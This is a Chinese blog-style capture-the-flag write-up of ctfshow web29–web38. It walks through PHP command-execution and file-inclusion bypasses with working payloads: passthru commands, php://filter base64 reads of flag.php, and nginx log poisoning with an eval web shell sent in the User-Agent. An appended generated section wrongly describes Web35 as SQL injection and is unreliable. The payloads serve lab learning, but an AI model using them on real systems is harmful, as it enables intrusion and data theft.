ctfshow web入门 web29-web38

文章讲述了在Web开发中,作者探讨了如何利用PHP伪协议(如`php://filter`)进行文件内容获取,特别是通过Base64编码绕过字符屏蔽,以及利用文件包含漏洞(如`include$_GET[cmd]`)来访问`flag.php`文件的过程。作者还提到利用日志文件(如`/var/log/nginx/access.log`)进行攻击的思路。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web29

把flag和i屏蔽了

system函数也行但是通常会屏蔽所以我直接用passthru

看看有啥

cat的话要查看源代码

web30

没有意外把这个system屏蔽了没事我不用哈哈哈

?c=passthru("cat f*");

然后查看源代码

web31

把空格屏蔽了

某位大佬的题解看到的

%09或者/**/绕过

但是是在""里面所以我们还是直接%09吧

web32

php伪协议,最常用的两种命令

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

查看文件内容(源代码)

构造

?c=include$_GET["cmd"]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

这里放两张我和大佬聊天的截图,真的很无语

加个http://

移动到最后发现有等号,base64解码

web33

双引号屏蔽了我不用就是了把刚才那个改一下

?c=include$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

web34

怎么看着和web33的一模一样

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

可以用

base64解码

web35

说实话不认真比对真的看不出来有啥区别,这次多了一个等号

?c=include$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

但是我抱着试一试的情况把他做出来了

web36

屏蔽了数字

但是我的payload根本就没有数字哇,继续用,都已经是套娃了家人们

?c=include$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

得吃php伪协议

web37

日志文件包含

思路:include文件包含,利用日志文件包含

?c=/var/log/nginx/access.log   (访问日志文件

打开hackbar,

user agent传马

<?php eval($_POST['a']);?>

antsword链接

到手,之前做过日志文件包含所以我看到自己的题解找到的这个"?c=/var/log/nginx/access.log"

就是方便

web38

一样的做法,一个不用的步骤都没有,中途操作有问题的评论或者私聊帮你解决
 

### CTFShow Web 入门 Web35 的解题思路 CTFShow 平台中的 Web 类别题目通常涉及常见的 Web 安全漏洞,例如 SQL 注入、XSS 跨站脚本攻击以及文件上传等。对于 Web35 这一入门级别的挑战,可以从以下几个方面入手分析并尝试解决。 #### 题目背景与目标 Web35 是一个典型的基于 GET 请求参数的注入类题目[^1]。通过访问页面可以发现存在动态加载的内容或者查询功能,这表明可能存在未经过滤的输入点用于执行恶意操作。具体来说,该题目的核心在于利用 URL 参数构造特定请求来绕过验证机制获取隐藏数据。 #### 技术要点解析 - **SQL Injection Basics**: 如果怀疑有 SQL 注射风险,则应测试各种特殊字符组合如 `'`, `"`, `--` 和其他可能影响语句逻辑的部分。当遇到错误反馈时更需注意调整payload试探数据库版本及结构信息。 ```sql ' OR '1'='1 -- ``` 上述代码片段展示了如何构建简单的布尔型盲注 payload 来改变原始查询条件从而达到控制结果集的目的。 - **Error-Based Exploitation**: 尝试触发异常响应以暴露更多关于内部工作流程的信息。某些情况下服务器会返回详细的错误描述有助于进一步确认假设方向正确与否。 - **Union Select Technique**: 当得知列数匹配情况之后可采用 union select 方法读取额外字段内容直至找到敏感资料为止。 ```sql ?param=1 UNION SELECT null,version(),database() ``` 此段示例说明了怎样运用union select技术从不同表里提取有用情报同时保持整体语法有效性的方法。 综上所述,在处理此类问题过程中要灵活应用多种技巧相互配合才能顺利通关。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值